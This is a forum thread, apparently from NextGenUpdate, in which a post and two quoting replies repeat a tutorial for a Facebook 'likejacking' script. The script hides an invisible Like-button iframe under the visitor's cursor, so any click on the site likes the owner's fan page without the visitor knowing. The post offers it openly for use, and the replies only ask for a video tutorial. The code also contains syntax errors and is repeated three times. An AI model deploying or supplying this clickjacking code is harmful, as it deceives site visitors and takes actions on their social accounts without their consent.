[/CENTER][/COLOR][/FONT][/SIZE]
[COLOR="#0000CD"][FONT=Franklin Gothic Medium][I][SIZE=3]What is this and how it works
1.This is an script which needs to be put in your html page in order to work.
2.When someone click anywhere on your site he will automatically like your page,no need to put like button!
3.When clicked again can't unlike.
4.Code [1] goes in <head> to load first:[/SIZE][/I][/FONT][/COLOR]
[code][LEFT]<script src="https://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id'=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}[/LEFT]
[/code]
[SIZE=3][FONT=Franklin Gothic Medium][I][COLOR="#0000CD"]5.Code [2] goes anywhere in html
6.HTML Code[/COLOR][/I][/FONT][/SIZE]
[code][left]
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src="https://www.facebook.com/plugins/like.php?href=YOUR_URL[/COLOR]&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
<!--end facebook like frame code-->
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer';
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>
[/code][/left]
[FONT=Franklin Gothic Medium][SIZE=3][COLOR="#0000CD"]Where to put my URL Fanpage?
7.Find "YOUR_URL" in Code [2] and here put your URL Fanpage.[/COLOR][/SIZE][/FONT]
[COLOR="#000000"][B][SIZE=2]P.S - This is nothing special[/SIZE][/B][/COLOR] [img]https://www.nextgenupdate.com/forums/images/smilies/okay.png[/img]
[/CENTER]
[/COLOR][/FONT][/SIZE]
[COLOR=#0000CD][FONT=Franklin Gothic Medium][I][SIZE=3]What is this and how it works
1.This is an script which needs to be put in your html page in order to work.
2.When someone click anywhere on your site he will automatically like your page,no need to put like button!
3.When clicked again can't unlike.
4.Code [1] goes in <head> to load first:[/SIZE][/I][/FONT][/COLOR]
[code][LEFT]<script src="https://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id'=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}[/LEFT]
[/code]
[SIZE=3][FONT=Franklin Gothic Medium][I][COLOR=#0000CD]5.Code [2] goes anywhere in html
6.HTML Code[/COLOR][/I][/FONT][/SIZE]
[code][LEFT]
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src="https://www.facebook.com/plugins/like.php?href=YOUR_URL[/COLOR]&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
<!--end facebook like frame code-->
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer';
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>
[/LEFT]
[/code]
[FONT=Franklin Gothic Medium][SIZE=3][COLOR=#0000CD]Where to put my URL Fanpage?
7.Find "YOUR_URL" in Code [2] and here put your URL Fanpage.[/COLOR][/SIZE][/FONT]
[COLOR=#000000][B][SIZE=2]P.S - This is nothing special[/SIZE][/B][/COLOR] [IMG]https://www.nextgenupdate.com/forums/images/smilies/okay.png[/IMG][/QUOTE]
You should do A youtube tut, for noobs..
[/CENTER][/COLOR][/FONT][/SIZE]
[COLOR="#0000CD"][FONT=Franklin Gothic Medium][I][SIZE=3]What is this and how it works
1.This is an script which needs to be put in your html page in order to work.
2.When someone click anywhere on your site he will automatically like your page,no need to put like button!
3.When clicked again can't unlike.
4.Code [1] goes in <head> to load first:[/SIZE][/I][/FONT][/COLOR]
[code][LEFT]<script src="https://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id'=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}[/LEFT]
[/code]
[SIZE=3][FONT=Franklin Gothic Medium][I][COLOR="#0000CD"]5.Code [2] goes anywhere in html
6.HTML Code[/COLOR][/I][/FONT][/SIZE]
[code][left]
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<iframe src="https://www.facebook.com/plugins/like.php?href=YOUR_URL[/COLOR]&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
<!--end facebook like frame code-->
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer';
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>
[/code][/left]
[FONT=Franklin Gothic Medium][SIZE=3][COLOR="#0000CD"]Where to put my URL Fanpage?
7.Find "YOUR_URL" in Code [2] and here put your URL Fanpage.[/COLOR][/SIZE][/FONT]
[COLOR="#000000"][B][SIZE=2]P.S - This is nothing special[/SIZE][/B][/COLOR] [img]https://www.nextgenupdate.com/forums/images/smilies/okay.png[/img][/QUOTE]
do a tut
Copyright © 2024, NextGenUpdate.
All Rights Reserved.